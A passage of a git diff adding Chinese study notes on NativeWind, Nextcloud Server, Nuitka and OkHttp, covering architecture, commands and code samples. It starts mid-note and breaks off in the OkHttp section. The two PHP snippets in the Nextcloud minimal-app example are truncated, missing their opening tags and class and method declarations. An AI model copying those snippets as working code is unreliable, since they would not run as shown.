w)包裹即可,**v5 通常不再需要** `nativewind/babel` Babel 插件 +- 新增 **`ios:` / `android:` / `native:` / `web:`** 等平台变体,以及 elevation、ripple 等 RN 专用 utility + +生产环境目前仍建议 **v4.1**;v5 适合新项目试验或跟进官方迁移指南。 + +## 常见坑与排查 + +| 现象 | 可能原因 | 处理 | +|------|----------|------| +| `className` 无效果 | 未 import `global.css` | 在最顶层组件文件 import | +| TS 报 `className` 不存在 | 缺少类型声明 | 添加 `nativewind-env.d.ts` | +| Tailwind 类被 tree-shake 掉 | `content` 路径未覆盖文件 | 检查 `tailwind.config.js` 的 glob | +| Web 端样式异常 | bundler 不是 Metro | `app.json` → `"web.bundler": "metro"` | +| 热更新后样式丢失 | CSS 引入口位置不对 | 不要只在 `index.js` 注册 AppRegistry 处 import | +| v5 构建报 lightningcss 错误 | 版本冲突 | `package.json` 里 pin `"lightningcss": "1.30.1"` | + +调试口诀:**先确认 global.css 被 Metro 吃进,再确认 content 路径扫到了你的 tsx,最后看 dark/hover 是否在该组件上受支持。** + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| Tailwind CSS | NativeWind 复用其编译器与 utility 语义;RN 不跑浏览器 DOM,需额外映射层 | +| React Native | 样式最终仍是 RN StyleSheet;组件 API 不变 | +| React Native Web | Web 端 NativeWind 复用 RN Web + CSS;Expo Web 走 Metro 时体验最佳 | +| Expo | 官方推荐栈;`rn-new --nativewind` 预置全部配置 | +| Tamagui / Gluestack UI | 组件库,可与 NativeWind 共存或二选一(看团队是否要自己造组件) | +| uniwind | 社区替代方案之一;NativeWind 仍是 GitHub star 与文档最成熟的选择 | + +## 学习路径建议 + +1. **会用**:跟官方 Quickstart 跑通 `App.tsx`,理解 `className` + flex 布局 +2. **会配**:亲手改 `tailwind.config.js` 的 `theme.extend`(品牌色、字号) +3. **会排错**:content 路径、Metro/Babel、TS 声明三类问题各踩一次 +4. **会设计**:封装 `AppText` / `AppButton`,引入 `cn()` + dark mode +5. **会选型**:评估 v4 vs v5;大项目锁定 v4.1,实验分支试 v5 迁移 + +## 参考资源 + +- 仓库: +- 文档(v4): +- 文档(v5 preview): +- v5 迁移指南: +- 预置项目:`npx rn-new@latest --nativewind` diff --git a/src/content/docs/projects/nextcloud-server.md b/src/content/docs/projects/nextcloud-server.md new file mode 100644 index 000000000..0d3c76704 --- /dev/null +++ b/src/content/docs/projects/nextcloud-server.md @@ -0,0 +1,309 @@ +--- +title: Nextcloud Server — 自托管私有云协作平台 +来源: https://github.com/nextcloud/server +日期: 2026-06-13 +子分类: Web 后端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +**Nextcloud Server** 是开源私有云的核心后端:文件同步、日历、通讯录、在线协作、聊天、视频会议、工作流自动化,都跑在这一套 PHP 应用里。手机/桌面客户端、浏览器、第三方 App 通过 WebDAV、OCS API、REST 与它对话。 + +日常类比: + +- **Dropbox / Google Drive(公有云)** = 你租的**连锁储物柜**:方便,但钥匙在运营商手里,条款一变你就得跟着搬 +- **Nextcloud Server** = 自家地下室改成的**私人档案室 + 会议室**:柜子、门禁、监控规则全由你定;邻居(其他 App)可以挂进来当「插件柜」,但房主始终是你 + +它从 2016 年 ownCloud 分叉而来,GitHub `nextcloud/server` 是单体仓库:核心在 `lib/`,每个功能以 **App** 形式装在 `apps/` 目录(Files、Calendar、Talk、Deck 等)。这和 [[collabora-online]] 的关系是:Nextcloud 管文件与权限,Collabora 管文档渲染——两者通过 WOPI 协议对接。 + +## 为什么重要 + +不理解 Nextcloud Server,下面这些事都解释不清: + +- 为什么政企、学校、医院偏爱「数据不出域」方案,而不是直接买 SaaS +- 为什么 [[collabora-online]]、OnlyOffice、Talk 都把自己定位成 Nextcloud 的「外挂引擎」 +- 自托管场景里 **WebDAV** 为何仍是跨客户端同步的通用语言(macOS Finder、Windows、rclone 都能挂) +- PHP 单体 + App 插件架构如何支撑数百个官方/社区扩展,而不必每次改核心 + +对后端开发者,它是学习 **插件化单体、PSR-11 依赖注入、事件总线、虚拟文件系统挂载** 的完整样本;对运维,它是 **Docker / occ CLI / 后台 Cron** 三件套的典型自托管栈。 + +## 核心概念 + +### 1. 请求生命周期(Request Lifecycle) + +每个 HTTP 请求大致走这条链: + +``` +浏览器 / 客户端 + → index.php(Front Controller) + → lib/base.php(初始化 Server 容器、会话、配置) + → 加载核心 App(认证、文件系统、日志…) + → 各已安装 App 的 IBootstrap::register / boot + → appinfo/routes.php 注册路由 + → App Framework 路由到 Controller + → 中间件(鉴权、CORS、限流…)→ 响应 +``` + +类比:快递进小区——先过大门岗亭(`index.php`),再查业主名录(认证),最后按门牌号(路由)送到具体住户(Controller)。你在 App 里写的业务代码,通常只关心最后一环。 + +### 2. App 与 App Framework + +Nextcloud 的功能以 **App** 为单位分发。每个 App 至少包含: + +| 路径 | 作用 | +|------|------| +| `appinfo/info.xml` | 元数据:id、版本、依赖、类型(filesystem / dav / …) | +| `appinfo/routes.php` | URL → Controller 映射 | +| `lib/AppInfo/Application.php` | 实现 `IBootstrap`,注册 DI 服务、监听事件 | +| `lib/Controller/` | 处理 HTTP 请求 | +| `lib/Service/` | 业务逻辑 | + +**OCP**(`OCP\` 命名空间)是 App 可调用的**稳定公共 API**;**OC**(`OC\`)是服务器内部实现,App 不应直接依赖。新 API 有时会先在 **NCU** 不稳定命名空间试跑一个主版本,再迁入 OCP。 + +### 3. 依赖注入(DI)与 IBootstrap + +Nextcloud 20+ 推荐 App 的 `Application` 类实现 `OCP\AppFramework\Bootstrap\IBootstrap`: + +- **`register()`**:向容器注册服务、事件监听器——此阶段**不能**假设其他 App 已就绪 +- **`boot()`**:所有 `register` 完成后执行,可安全使用文件系统、会话等——但应克制,每次请求都会跑 + +容器遵循 **PSR-11**,支持构造函数 **自动装配(auto-wiring)**:只要参数类型在容器里可解析,就不必手写 `registerService`。 + +### 4. 虚拟文件系统(Filesystem) + +文件层分两级,类似 Unix 挂载: + +1. **Filesystem 层(对用户路径)**:`OCP\Files\Node` API——推荐新代码使用;把 `/alice/Photos/cat.jpg` 翻译成「挂载点 + 内部路径」 +2. **Storage 层(对后端)**:本地磁盘、S3、SFTP、组文件夹(Group Folders)等;可用 **Wrapper** 叠层修改权限、配额、审计行为 + +每个 Storage 配有 **元数据缓存(Scanner + Cache)**,避免每次 `stat` 都打远程对象存储。WebDAV 入口在 `remote.php/dav/`,桌面客户端同步走的正是这条协议。 + +### 5. 身份、共享与后台任务 + +- **用户与组**:本地账户或 LDAP / SAML(通过 User LDAP、OIDC Login 等 App) +- **共享模型**:用户级共享、链接共享、联邦共享(Federation);权限在 Storage Wrapper 与 Share Provider 层 enforced +- **Background Jobs**:索引、通知、提醒依赖 **Cron**——生产环境应用系统 crontab 调 `occ background:cron`,而不是仅靠「页面访问触发」 +- **occ**:命令行管理入口(ownCloud Console 缩写),安装、升级、扫描文件、管用户全靠它 + +### 6. 对外接口一览 + +| 接口 | 典型用途 | +|------|----------| +| **WebDAV** | 桌面/移动客户端同步文件、日历、通讯录 | +| **OCS API** | 旧版客户端兼容、`/ocs/v2.php` 共享与能力查询 | +| **App REST** | 各 App 在 `routes.php` 暴露的 JSON API | +| **CalDAV / CardDAV** | 标准日历、地址簿(经 DAV App) | + +## 代码示例 + +### 示例 1:Docker Compose 最小可运行栈 + +下面是一份可本地试玩的编排:Nextcloud + MariaDB + Redis(文件锁与缓存)。数据持久化到命名卷。 + +```yaml +# compose.yaml +services: + db: + image: mariadb:11 + restart: unless-stopped + command: --transaction-isolation=READ-COMMITTED --binlog-format=ROW + environment: + MYSQL_ROOT_PASSWORD: changeme_root + MYSQL_DATABASE: nextcloud + MYSQL_USER: nextcloud + MYSQL_PASSWORD: changeme_db + volumes: + - db:/var/lib/mysql + + redis: + image: redis:alpine + restart: unless-stopped + + app: + image: nextcloud:apache + restart: unless-stopped + ports: + - "8080:80" + depends_on: + - db + - redis + environment: + MYSQL_HOST: db + MYSQL_DATABASE: nextcloud + MYSQL_USER: nextcloud + MYSQL_PASSWORD: changeme_db + REDIS_HOST: redis + volumes: + - nextcloud:/var/www/html + +volumes: + db: + nextcloud: +``` + +启动后访问 `http://localhost:8080` 走网页向导,或改用 **示例 2** 的 `occ` 无头安装。 + +### 示例 2:命令行安装与日常运维(occ) + +安装(需在 Nextcloud 根目录、以 Web 服务器用户执行): + +```bash +cd /var/www/html +sudo -E -u www-data php occ maintenance:install \ + --database mysql \ + --database-name nextcloud \ + --database-user nextcloud \ + --database-pass 'changeme_db' \ + --admin-user admin \ + --admin-pass 'changeme_admin' + +# Docker 中等价写法: +docker compose exec --user www-data app php occ maintenance:install \ + --database mysql --database-name nextcloud \ + --database-user nextcloud --database-pass changeme_db \ + --admin-user admin --admin-pass changeme_admin +``` + +常见运维命令: + +```bash +# 检查更新 +sudo -u www-data php occ update:check + +# 执行升级 +sudo -u www-data php occ upgrade + +# 手动把文件拷进 data 目录后,重建索引 +sudo -u www-data php occ files:scan --all + +# 安装社区 App(如 TOTP 双因素) +sudo -u www-data php occ app:install twofactor_totp +``` + +### 示例 3:最小 App——路由与 Controller(PHP) + +自定义 App `hello` 的 `appinfo/routes.php`: + +```php + [ + ['name' => 'page#index', 'url' => '/', 'verb' => 'GET'], + ['name' => 'page#ping', 'url' => '/ping', 'verb' => 'GET'], + ], +]; +``` + +`lib/Controller/PageController.php`: + +```php + 'Hello from Nextcloud App']); + } + + public function ping(): DataResponse { + return new DataResponse(['ok' => true]); + } +} +``` + +访问路径为 `/index.php/apps/hello/` 与 `/index.php/apps/hello/ping`(具体取决于 `info.xml` 中的路由前缀与是否启用 Pretty URLs)。 + +### 示例 4:用 WebDAV 列出用户文件(curl) + +桌面客户端背后做的也是 PROPFIND,只是换了个壳: + +```bash +curl -u 'alice:APP_PASSWORD' -X PROPFIND \ + -H 'Depth: 1' \ + 'https://cloud.example.com/remote.php/dav/files/alice/' \ + | xmllint --format - +``` + +说明:生产环境应为应用专用密码(App Password),而非主账户密码;HTTPS 与 `trusted_domains` 配置是硬要求。 + +## 架构一图 + +```text +┌─────────────┐ WebDAV/OCS/REST ┌──────────────────────────────────┐ +│ Clients │ ─────────────────► │ index.php → App Framework │ +│ Browser │ │ ┌─────────┐ ┌────────────────┐ │ +│ Desktop │ │ │ Core │ │ Apps (Files, │ │ +│ Mobile │ │ │ Server │ │ Calendar,Talk) │ │ +└─────────────┘ │ │ OC\ │ │ OCA\ │ │ + │ └────┬────┘ └───────┬────────┘ │ + │ │ OCP API │ │ + │ ▼ ▼ │ + │ ┌─────────────────────────────┐ │ + │ │ Node API → Storage/Wrapper │ │ + │ │ MySQL/PG Redis ObjectStore│ │ + │ └─────────────────────────────┘ │ + └──────────────────────────────────┘ +``` + +## 部署与调优要点 + +1. **数据库**:生产禁用 SQLite,用 MariaDB/PostgreSQL;`occ db:convert-type` 可从 SQLite 迁移(Community 版) +2. **后台任务**:`crontab` 每 5 分钟 `php -f /var/www/html/cron.php` 或 `occ background:cron` +3. **缓存与锁**:Redis 同时承担 memcache 与 **事务文件锁**,多节点前置负载均衡时几乎必选 +4. **反向代理**:Nginx/Traefik 需正确转发 `Host`、`X-Forwarded-*`,并在 `config.php` 配 `overwriteprotocol` / `trusted_proxies` +5. **大实例**:对象存储(S3 兼容)放 `datadirectory` 外的 blob;预览生成、全文检索是 CPU 大户,应单独评估 + +## 与生态的关系 + +- **Collabora / OnlyOffice**:在线编辑;Nextcloud 通过 WOPI 或专用 App 调外部文档服务器 +- **Talk**:基于 WebRTC 的音视频,Signaling 在 Nextcloud App 内,TURN 常另配 [[coturn]] +- **Deck / Forms / Notes**:官方生产力 App,共享同一套用户、组、通知系统 +- **客户端**:Desktop(C++)、Android/iOS 原生 App,均走 WebDAV + 部分 OCS/REST + +## 常见坑 + +| 现象 | 常见原因 | +|------|----------| +| 上传大文件失败 | PHP `upload_max_filesize`、Nginx `client_max_body_size`、超时 | +| 同步冲突文件泛滥 | 多客户端同时改同一文件;检查客户端版本与服务器版本匹配 | +| `occ` Permission denied | 未用 `www-data`(或容器内 `www-data`)执行;Docker 里应在容器内跑而非宿主机挂卷路径 | +| 升级后白屏 | 第三方 App 不兼容;`occ app:list` 后 `occ app:disable` 嫌疑 App | +| 外网无法访问 | `trusted_domains` 未加域名;反代未传 HTTPS 头 | + +## 学习路径建议 + +1. **用户视角**:Docker 起一个实例,挂桌面客户端,感受 WebDAV 同步 +2. **管理员视角**:练熟 `occ` 安装、升级、`files:scan`、备份 `data/` + 数据库 +3. **开发者视角**:读官方 Tutorial App,实现一个带 `IBootstrap` 的小 App,注册事件监听 +4. **深入**:读 Files 源码里的 Mount + Storage Wrapper;对照 [[collabora-online]] 理解 WOPI 集成 + +## 自测题 + +1. `OCP` 与 `OC` 命名空间的分工是什么?App 为什么只能依赖前者? +2. `register()` 和 `boot()` 两阶段各自允许做什么、禁止做什么? +3. 为什么生产环境推荐系统 Cron 而不是 Ajax Cron? +4. WebDAV 路径 `/remote.php/dav/files/用户名/` 与 Storage 层的 Mount 是什么关系? +5. 零知识加密下,Nextcloud 服务端管理员能否读取用户文件明文?(提示:Server-side encryption App 的权衡) + +## 参考资料 + +- 官方仓库:https://github.com/nextcloud/server +- 开发者手册(请求生命周期):https://docs.nextcloud.com/server/latest/developer_manual/basics/request_lifecycle.html +- 架构与文件系统:https://docs.nextcloud.com/server/latest/developer_manual/core/architecture/ +- 管理员手册(occ):https://docs.nextcloud.com/server/stable/admin_manual/occ_command.html +- Docker 官方镜像:https://hub.docker.com/_/nextcloud diff --git a/src/content/docs/projects/nuitka.md b/src/content/docs/projects/nuitka.md new file mode 100644 index 000000000..37939e736 --- /dev/null +++ b/src/content/docs/projects/nuitka.md @@ -0,0 +1,319 @@ +--- +title: Nuitka — Python 到 C 编译器 +来源: https://github.com/Nuitka/Nuitka +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**Nuitka** 是 [Nuitka/Nuitka](https://github.com/Nuitka/Nuitka) 维护的 **Python 优化编译器(AOT, Ahead-Of-Time)**:在运行程序**之前**,把 `.py` 源码翻译成 **C/C++ 源文件**,再调用系统 C 编译器(经 **SCons** 编排)链接成 **原生可执行文件** 或 **扩展模块**。它仍深度依赖 **CPython 运行时 API**(`PyObject*`、内置类型、导入机制),语义目标是「和用解释器跑一样」,而不是换一门语言。 + +日常类比:如果把 **CPython** 想成「每次点菜都现炒」的中央厨房,把 **PyInstaller** 想成「把整个厨房、冰箱、煤气罐一起打包进集装箱运到客户现场」,那 **Nuitka** 更像 **把菜谱提前翻译成米其林主厨能直接执行的工序卡(C 代码),在客户工厂里现焊一台专用灶台(原生二进制)**: + +- **菜谱翻译**(Python → Nuitka 节点树 → C)发生在**编译期**,不是运行时边跑边猜; +- **优化师**(多轮 `optimizeModules`)像品控:常量折叠、死代码消除、类型特化,反复改稿直到改不动; +- **焊工**(GCC / Clang / MSVC / MinGW / Zig)把 C 烙成机器码,启动时不必再解析 `.py`; +- **集装箱模式**(`--mode=standalone` / `onefile`)仍可把依赖的 `.so` / `.dll` 和数据文件一起带走,方便分发; +- **源码保护**:发布物里不再附带可读 `.py`(商业场景常关心字符串与逻辑外泄)。 + +Nuitka **用 Python 写编译器本身**,却给用户程序走 **编译到 C** 的路径;与 **PyPy**(RPython 写 VM + 运行时 JIT)、**Cython**(手写类型注解生成 C 扩展)形成不同分工。官方支持 **Python 3.4–3.13** 与 **2.6/2.7**,覆盖 Windows、macOS、Linux、FreeBSD 等主流平台。 + +## 为什么重要 + +不懂 Nuitka,下面这些决策容易踩坑: + +- **「打包 Python 程序」该选 PyInstaller 还是 Nuitka**——前者主要是**嵌入解释器 + 收集依赖**;后者是**真编译**,启动与热路径往往更快,但首次编译慢、需要 C 工具链 +- **为什么编译后 `dis.dis()` 看不到字节码**——函数对象没有 `co_code`,调试方式要换(见局限) +- **为什么 NumPy / PySide 还要配 plugin 和 package config**——动态导入、隐式数据文件、`.dll` 依赖需要显式告诉 Nuitka +- **为什么必须用 CPython 来跑 Nuitka**——生成代码调用 CPython C API,与 PyPy 等替代实现不兼容 +- **AOT 与 JIT 的取舍**——Nuitka 在**短进程 CLI** 上常比「等 JIT 预热」的 PyPy 更稳;超长纯 Python 数值循环则未必赢 PyPy + +## 核心概念 + +### 1. 在 Python 工具链谱系中的位置 + +| 工具 | 本质 | 典型产物 | 运行时 | +|------|------|----------|--------| +| **CPython** | 解释器 | `python script.py` | 每次解释字节码 | +| **PyInstaller / cx_Freeze** | 打包器 | 目录或单文件,内嵌解释器 | 仍是解释执行 | +| **Nuitka** | AOT 编译器 | `.exe` / `.bin` / 原生模块 | 编译进二进制的 C + libpython | +| **Cython** | 源到源 + 扩展 | `.so` / `.pyd` | 需 CPython 加载扩展 | +| **PyPy** | 替代 VM + JIT | `pypy3` 可执行文件 | 跟踪 JIT 热路径 | + +一句话:**PyInstaller 搬厨房,Nuitka 把菜做成预制菜工厂。** + +### 2. 四阶段编译流水线 + +`MainControl.py` 编排端到端流程(概念与官方/社区文档一致): + +``` +Python 源码 (.py) + ▼ Parse 标准库 ast → Nuitka 节点树(Building.py) + ▼ Optimize 多轮 optimizeModules 直到不动点 + (常量折叠、分支裁剪、类型推断、闭包分析…) + ▼ Generate C makeSourceDirectory → 大量 .c / .h + ▼ Compile runSconsBackend → SCons 调 C 编译器 → 二进制 +``` + +节点树阶段会建立 **变量作用域、闭包、SSA 式 trace**,再驱动 `computeExpression()` 等自变换优化。生成 C 时大量调用 **CPython C API**,保证 `import`、`try/except`、描述符协议等行为与解释器一致。 + +### 3. 编译模式(`--mode`) + +| 模式 | 行为 | 适用 | +|------|------|------| +| **accelerated**(默认) | 生成与脚本同名的加速二进制,仍依赖系统 Python 环境 | 本地加速、开发迭代 | +| **standalone** | 独立目录,拷贝所需 stdlib 片段与依赖 `.so` | 服务器、内网分发 | +| **onefile** | 单文件可执行,启动时解压到临时目录 | 给最终用户一个 exe | +| **app** | macOS `.app` 等应用包形态 | 桌面 GUI | +| **module** | 编译为扩展模块 `.so` / `.pyd` | 隐藏实现、加速库 | +| **package** | 以包为入口(类似 `python -m pkg`) | 可执行包 | + +`--mode=onefile` 启动快,但**第一次解压**有成本;`standalone` 启动通常更快、排查依赖更直观。 + +### 4. 与 CPython 的耦合点 + +- **必须用 CPython 执行** `python -m nuitka`(Anaconda 等变种大多可用,Microsoft Store 版不推荐) +- 生成代码假设 **GIL、对象布局、异常传播** 与当前 CPython 版本匹配 +- **C 扩展模块**(`numpy`、`cryptography` 等)以二进制形式链入,不靠重新编译其 C 源码 +- **插件**(`--enable-plugin=numpy`、`pyside6` 等)修补第三方包的隐式导入与 Qt 插件路径 + +### 5. 优化在编译期完成 + +Nuitka 的「快」主要来自: + +- 去掉 **字节码解释循环** 的开销(函数体已是 C) +- **编译期常量折叠**、**内置调用内联**、**类型已知时的特化路径** +- **LTO / PGO**(取决于 C 编译器与选项) + +它**不是** PyPy 那种「跑起来才发现热循环再 JIT」。因此:**改一行代码往往要重新完整编译**,CI 里要预算时间。 + +### 6. 数据文件与「代码不是数据」 + +配置、图片、`.json` 用 `--include-data-files`、`--include-package-data` 等打入分发包。**`.py` / `.pyc` / `.so` 不会被当成普通数据文件**——代码依赖要走 `--include-module` 或正常 import 分析。第三方包缺文件时,社区维护 **Nuitka Package Configuration**(YAML)描述隐式 DLL、数据路径。 + +### 7. `nuitka-project` 内嵌选项 + +可在源码**注释**里写编译指令,便于「单文件即构建脚本」: + +```python +# nuitka-project: --mode=onefile +# nuitka-project-if: {OS} == "Windows": +# nuitka-project: --windows-console-mode=disable +``` + +支持 `{OS}`、`{MAIN_DIRECTORY}`、`{Arch}` 等变量展开,适合跨平台 CI 同一份源码。 + +### 8. 局限与语义差异 + +| 话题 | 说明 | +|------|------| +| **`co_code` / `dis`** | 编译后函数无字节码,`dis.dis(fn)` 无意义 | +| **`pdb` 单步** | 不能像在纯 `.py` 里那样跟踪编译函数内部 | +| **首次编译时间** | 中大型项目可达数分钟至数十分钟 | +| **工具链** | Windows 需 MSVC 或 Nuitka 捆绑的 MinGW64;macOS 需 Xcode CLI | +| **极端动态代码** | `eval`、`exec`、运行时改 `sys.modules` 仍可能工作,但削弱优化 | + +## 架构一图 + +```mermaid +flowchart LR + subgraph compile_time [编译期] + PY[Python 源码] + AST[ast 解析] + NT[Nuitka 节点树] + OPT[多轮优化] + CGEN[C 源码目录] + CC[C 编译器 via SCons] + PY --> AST --> NT --> OPT --> CGEN --> CC + end + subgraph runtime [运行期] + BIN[可执行文件 / 模块] + API[CPython C API / libpython] + BIN --> API + end + CC --> BIN +``` + +## 从零开始:安装与第一次编译 + +**依赖**:已安装的 **CPython**、可用的 **C 编译器**(Linux 上 `gcc`/`clang`,macOS 上 Xcode,`pip install nuitka` 会拉取部分依赖如 `ordered-set`)。 + +```bash +python -m pip install -U nuitka ordered-set zstandard +python -m nuitka --version +``` + +## 代码示例 + +### 示例 1:CLI 工具编译为单文件可执行 + +假设 `greet_cli.py`: + +```python +#!/usr/bin/env python3 +"""简单 CLI:编译后可在无 Python 的机器上运行(onefile)。""" + +import argparse +import sys + + +def main() -> int: + parser = argparse.ArgumentParser(description="向某人问好") + parser.add_argument("name", help="名字") + parser.add_argument("-u", "--upper", action="store_true", help="大写输出") + args = parser.parse_args() + msg = f"Hello, {args.name}!" + print(msg.upper() if args.upper else msg) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) +``` + +编译命令(Linux / macOS 示例;Windows 把输出名换成 `greet_cli.exe`): + +```bash +python -m nuitka \ + --mode=onefile \ + --output-filename=greet_cli.bin \ + --assume-yes-for-downloads \ + greet_cli.py + +# 运行 +./greet_cli.bin Alice +./greet_cli.bin bob --upper +``` + +说明: + +- `--assume-yes-for-downloads` 允许 Nuitka 自动下载兼容的 C 编译器组件(如 MinGW),CI 里常用 +- **onefile** 会把依赖打进一个文件;首次启动会解压到临时目录,GUI 程序可配 **splash screen** 掩盖导入耗时 +- 若只要本机加速、不追求独立分发,可省略 `--mode=onefile`(默认 accelerated) + +### 示例 2:在源码内声明跨平台 `nuitka-project` 选项 + +把构建配置写进主文件,避免 shell 脚本分叉: + +```python +# nuitka-project-if: {OS} in ("Windows", "Linux", "Darwin"): +# nuitka-project: --mode=onefile +# nuitka-project-else: +# nuitka-project: --mode=standalone + +# nuitka-project-if: {OS} == "Windows": +# nuitka-project: --windows-console-mode=disable + +# nuitka-project: --include-data-files={MAIN_DIRECTORY}/config.json=config.json + +import json +import pathlib +import sys + +ROOT = pathlib.Path(__file__).resolve().parent + + +def load_config() -> dict: + cfg_path = ROOT / "config.json" + if not cfg_path.exists(): + # standalone/onefile 下数据文件在分发目录内 + cfg_path = pathlib.Path("config.json") + return json.loads(cfg_path.read_text(encoding="utf-8")) + + +def main() -> None: + cfg = load_config() + print(f"app={cfg.get('app_name')}, version={cfg.get('version')}") + + +if __name__ == "__main__": + main() +``` + +编译时仍只需: + +```bash +python -m nuitka app_main.py +``` + +Nuitka 会读取文件头注释中的 `nuitka-project*` 指令,在 Windows 上打 onefile 并隐藏控制台,在其他系统用 standalone。`{MAIN_DIRECTORY}` 展开为被编译主文件的目录,适合相对路径打包资源。 + +### 示例 3:测量编译产物与 import 开销(对比直觉) + +下面脚本**用于理解**而非严谨基准:同一逻辑在解释器与编译二进制下的启动差异因模式、缓存、磁盘而异。 + +```python +# bench_import.py — 用 python bench_import.py 跑;编译后用 ./bench_import.bin +import time + +t0 = time.perf_counter() + +def hot_loop(n: int) -> int: + s = 0 + for i in range(n): + s += i * i + return s + +result = hot_loop(500_000) +elapsed = time.perf_counter() - t0 +print(f"result={result}, wall={elapsed:.4f}s") +``` + +```bash +# 解释器 +python bench_import.py + +# 编译(standalone 便于 strace / 查看目录) +python -m nuitka --mode=standalone --output-dir=build bench_import.py +./build/bench_import.bin +``` + +在 **CPU 密集纯 Python 循环** 上,编译版常有可见提升;若热点在 **NumPy C 扩展** 里,两者差距会缩小——瓶颈已不在字节码解释。 + +## 常用命令速查 + +```bash +# 查看全部选项 +python -m nuitka --help + +# 模块模式:生成 mypkg.so 供 CPython import +python -m nuitka --module mypkg/__init__.py + +# 包含整个包 + 数据 +python -m nuitka --mode=standalone --include-package=mypkg --include-package-data=mypkg app.py + +# 启用 NumPy / Qt 等插件 +python -m nuitka --enable-plugin=numpy --enable-plugin=pyside6 gui.py + +# 生成编译报告(排错必备) +python -m nuitka --report=compilation-report.xml --mode=onefile app.py +``` + +## 与周边生态的关系 + +| 项目 | 关系 | +|------|------| +| **CPython** | Nuitka 的语义基准与 C API 宿主;编译器自身也用 CPython 运行 | +| **PyInstaller** | 竞品/互补:打包快、配置熟;Nuitka 编译慢但运行时与保护性往往更好 | +| **Cython** | 手写类型可极致优化单模块;Nuitka 全自动、少改源码 | +| **PyPy** | 另一轴优化(JIT);与 Nuitka 的 AOT 场景不同,不宜简单二选一 | +| **SCons** | Nuitka 内置后端,驱动 C/C++ 编译与链接 | +| **Nuitka Commercial** | 官方商业分支,额外 IP 保护、Windows 服务封装等企业特性 | + +## 学习路径建议 + +1. **先会跑**:`pip install nuitka`,用示例 1 编译一个无第三方依赖的 CLI,确认工具链可用 +2. **读 Compilation Report**:`--report=compilation-report.xml`,弄清哪些模块被拉进、哪些被优化掉 +3. **加一个真实依赖**:例如 `requests` 或 `numpy`,体验 `--include-package-data` 与 `--enable-plugin` +4. **对照 CPython 笔记**:理解「没有字节码」与 C API 边界后,再读官方 [User Manual](https://nuitka.net/user-documentation/user-manual.html) 的 Data Files、Plugins 章节 +5. **CI 集成**:生产环境可用 [Nuitka-Action](https://github.com/Nuitka/Nuitka-Action) 矩阵构建多平台产物 + +## 延伸阅读 + +- 官方站点与手册:[nuitka.net](https://nuitka.net/) · [User Manual](https://nuitka.net/user-documentation/user-manual.html) +- 源码入口:`MainControl.py`(主编排)、`nuitka/tree/Building.py`(AST → 节点树)、`nuitka/optimizations/Optimization.py`(优化循环) +- 论文视角:*An Empirical Study on the Performance and Energy Usage of Compiled Python Code*(arXiv:2505.02346)将 Nuitka 与 PyPy、Numba 等一并比较 +- 本库相关笔记:[CPython](./cpython.md)(解释器与字节码)、[PyPy](./pypy.md)(JIT 路线) diff --git a/src/content/docs/projects/okhttp.md b/src/content/docs/projects/okhttp.md new file mode 100644 index 000000000..d53d4a7e7 --- /dev/null +++ b/src/content/docs/projects/okhttp.md @@ -0,0 +1,334 @@ +--- +title: OkHttp — JVM/Android 上的高效 HTTP 客户端 +来源: https://github.com/square/okhttp +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +**OkHttp** 是 Square 出品的 HTTP 客户端,面向 **Android、Java、Kotlin 和 GraalVM**。它不负责把 JSON 自动变成对象(那是 [[retrofit]] 和 Converter 的事),而是专注做好一件事:**可靠、高效地把 HTTP 请求发出去,把响应字节流拿回来**。 + +日常类比: + +- 浏览器里的「地址栏 + 网络栈」:你输入 URL,底层帮你 DNS 解析、建 TCP、TLS 握手、发请求、收响应、处理重定向和压缩。 +- **OkHttp** 就是给 App 用的「专业快递员」:自带**车队调度**(连接池)、**拼车规则**(HTTP/2 多路复用)、**备用路线**(多 IP / IPv6 快速回退)、**冷藏箱**(响应缓存)。你只填一张「运单」(`Request`),它负责把「包裹」(`Response`)送到你手上。 + +最小同步 GET 长这样: + +```java +OkHttpClient client = new OkHttpClient(); + +Request request = new Request.Builder() + .url("https://api.github.com/repos/square/okhttp") + .build(); + +try (Response response = client.newCall(request).execute()) { + if (!response.isSuccessful()) throw new IOException("Unexpected code " + response); + System.out.println(response.body().string()); +} +``` + +四行核心逻辑 = 一次完整 HTTP 往返。OkHttp 默认已开启连接复用、GZIP 解压、现代 TLS;你不必像手写 `HttpURLConnection` 那样到处设 Header 和流。 + +项目 2012 年由 Square 开源,GitHub [square/okhttp](https://github.com/square/okhttp) 累计数万 star;当前主线为 **OkHttp 5.x**(Kotlin Multiplatform,JVM/Android 通用),是 Android 官方网络栈推荐之一,也是 Retrofit、Picasso 等库的底层传输层。 + +## 为什么重要 + +零基础学移动端或 JVM 后端网络,绕不开 OkHttp,因为: + +- **Android 生态事实标准**:系统 `HttpURLConnection` 难用、行为碎片化;OkHttp 统一了超时、重试、HTTP/2、证书校验 +- **Retrofit 的引擎**:声明式 API 在 Retrofit,真正建连、读写 socket 在 OkHttp——改超时、加 Token、打日志都在 `OkHttpClient` 配置 +- **性能是默认项**:连接池 + HTTP/2 多路复用,对同一 host 的多次请求往往共用一条 TCP,延迟和耗电都更低 +- **可测试**:官方提供 **MockWebServer**,本地起假 HTTP 服务,不依赖外网就能测客户端逻辑 +- **生产级韧性**:多 IP 重试、TLS 协商失败换路线、Happy Eyeballs 式并发连接(5.0+ fast fallback) + +## 核心概念 + +### 1. 不可变 Request / Response + Builder + +OkHttp 的 `Request` 和 `Response` 对象**创建后不可变**。要改 URL、Header、Method,用 `Request.Builder` 链式调用: + +```kotlin +val request = Request.Builder() + .url("https://httpbin.org/post") + .header("User-Agent", "OkHttp Study Note") + .post("""{"name":"demo"}""".toRequestBody("application/json".toMediaType())) + .build() +``` + +好处:同一份 `Request` 可以安全地传给拦截器、日志、重试逻辑,不会出现「半路被改掉」的竞态。`Response.body()` 只能读一次(字节流消费型),重复读要用 `peekBody()` 或在拦截器里缓存。 + +### 2. OkHttpClient:共享的单例「车队总部」 + +官方强烈建议:**整个应用只建一个(或少量)`OkHttpClient` 实例并复用**。每个 client 自带: + +| 组件 | 作用 | +|------|------| +| **ConnectionPool** | 空闲 TCP 连接复用,减少握手 | +| **Dispatcher** | 异步请求的线程池与并发上限 | +| **Cache** | 可选磁盘 HTTP 缓存(需配置 `Cache` 目录) | 